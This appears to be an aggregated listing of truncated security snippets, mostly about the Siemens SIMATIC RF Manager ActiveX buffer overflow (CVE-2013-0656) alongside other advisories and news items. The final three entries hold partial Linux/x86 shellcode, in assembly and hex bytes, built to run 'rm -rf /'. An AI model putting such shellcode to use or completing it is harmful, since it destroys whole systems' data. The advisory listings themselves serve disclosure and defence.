Siemens SIMATIC RF Manager ActiveX Buffer Overflow

Overview This advisory provides mitigation details for a vulnerability that impacts the Siemens SIMATIC RF Manager. Siemens has identified a buffer overflow vulnerability in the ActiveX component of the SIMATIC RF Manager. Siemens has produced a patch that mitigates this vulnerability. Successful...

FDA Issues Recommendations on the Security of Wireless Medical Devices

The Food and Drug Administration FDA has issued a series of guidelines regarding the regulation of radio frequency RF technology in medical devices, moves that if put into practice, could eventually help shore up the increasingly vulnerable medical device security model. In a 24-page document .PD...

Siemens SIMATIC RF-MANAGER KeyHelp.ocx Buffer Overflow

Binary data scadasiemensrfmanageractivex.nbin...

Siemens SIMATIC RF-MANAGER Detection (SCADA)

Binary data 6689.prm...

Siemens SIMATIC RF-MANAGER Detection

Binary data scadaappsiemensrfmanagerdetect.nbin...

Buffer overflow

Buffer overflow in a third-party ActiveX component in Siemens SIMATIC RF-MANAGER 2008, and RF-MANAGER Basic 3.0 and earlier, allows remote attackers to execute arbitrary code via a crafted web site...

CVE-2013-0656

Buffer overflow in a third-party ActiveX component in Siemens SIMATIC RF-MANAGER 2008, and RF-MANAGER Basic 3.0 and earlier, allows remote attackers to execute arbitrary code via a crafted web site...

CVE-2013-0656

The CVE-2013-0656 vulnerability concerns a heap-based buffer overflow in a third-party ActiveX component used by Siemens SIMATIC RF Manager products. Affected are SIMATIC RF Manager 2008 and RF Manager Basic v3.0 and earlier; the overflow arises when processing content from a crafted web site, en...

PT-2013-2506

Name of the Vulnerable Software and Affected Versions Siemens SIMATIC RF-MANAGER versions 2008 and earlier Siemens RF-MANAGER Basic versions 3.0 and earlier Description A buffer overflow issue exists in a third-party ActiveX component. This allows remote attackers to execute arbitrary code via a...

CVE-2013-0656: Improper Restriction of Operations within the Bounds of a Memory Buffer

Buffer overflow in a third-party ActiveX component in Siemens SIMATIC RF-MANAGER 2008, and RF-MANAGER Basic 3.0 and earlier, allows remote attackers to execute arbitrary code via a crafted web site...

PT-2012-3105

Name of the Vulnerable Software and Affected Versions systemd versions prior to 44 Description The issue concerns the rm rf children function in util.c within the systemd-logind login manager. It allows local users to delete arbitrary files via a symlink attack on unspecified files related to use...

Man-in-the-Middle Remote Attack on Diebold Touch-screen Voting Machine

Man-in-the-Middle Remote Attack on Diebold Touch-screen Voting Machine The Vulnerability Assessment Team VAT at the U.S. Dept. of Energy's Argonne National Laboratory in Illinois has managed to hack a Diebold Accuvote touch-screen voting machine. Voting machines used by as many as a quarter of...

CVE-2011-3495: Improper Limitation of a Pathname to a Restricted Directory

Multiple directory traversal vulnerabilities in service.exe in Measuresoft ScadaPro 4.0.0 and earlier allow remote attackers to read, modify, or delete arbitrary files via the 1 RF, 2 wF, 3 UF, or 4 NF command...

PT-2011-4476

Name of the Vulnerable Software and Affected Versions Measuresoft ScadaPro versions 4.0.0 and earlier Description The issue allows remote attackers to read, modify, or delete arbitrary files. This is achieved through multiple directory traversal vulnerabilities in the service.exe component via...

Ubertooth - An Open Source Bluetooth Test Tool download !

This project was originally unveiled at the recently concluded ShmooCon. It shows a lot of promise and the authors two years of study and experimentation. The name is Ubertooth. Ubertooth is an open source 2.4 GHz wireless development platform suitable for passive bluetooth monitoring. It aims to...

Update Protection against Cisco IOS Administrative Interface HTTP Authentication

Cisco Wireless LAN Controllers WLCs are responsible for system-wide wireless LAN functions, such as security policies, intrusion prevention, RF management, quality of service QoS, and mobility. An attacker with access to the administrative web interface via HTTP or HTTPS may cause the device to...

kernel security and bug fix update

2.6.18-128.1.6.0.1.el5 - NET Add entropy support to e1000 and bnx2 John Sobecki,Guru Anbalagane orabug 6045759 - MM shrink zone patch John Sobecki,Chris Mason orabug 6086839 - NET Add xen pv/bonding netconsole support Tina yang orabug 6993043 bz 7258 - nfs convert ENETUNREACH to ENOTCONN Guru...

Linux/x86 - execve("rm -rf /")

No description provided by source. / By Kris Katterjohn 11/18/2006 45 byte shellcode to execve"rm -rf /" for Linux/x86 section .text global start start: ; execve"/bin/rm", "/bin/rm", "-r", "-f", "/", NULL , NULL push byte 11 pop eax cdq push edx push byte 0x2f mov edi, esp push edx push word 0x66...

linux/x86 rm -rf / attempts to block the process from being stopped

No description provided by source. / x86 linux rm -rf / which attempts to block the process from being stopped 132 bytes written by onionring / main char shellcode = "\x31\xC0" // xor eax, eax "\x89\xC3" // mov ebx, eax "\x89\xC1" // mov ecx, eax "\x41" // inc ecx "\xB0\x30" // mov al, 0x30 ;...

linux/x86 - rm -rf / attempts to block the process from being stopped

linux/x86 rm -rf / attempts to block the process from being stopped. Shellcode exploit for linx86 platform / x86 linux rm -rf / which attempts to block the process from being stopped 132 bytes written by onionring / main char shellcode = "\x31\xC0" // xor eax, eax "\x89\xC3" // mov ebx, eax...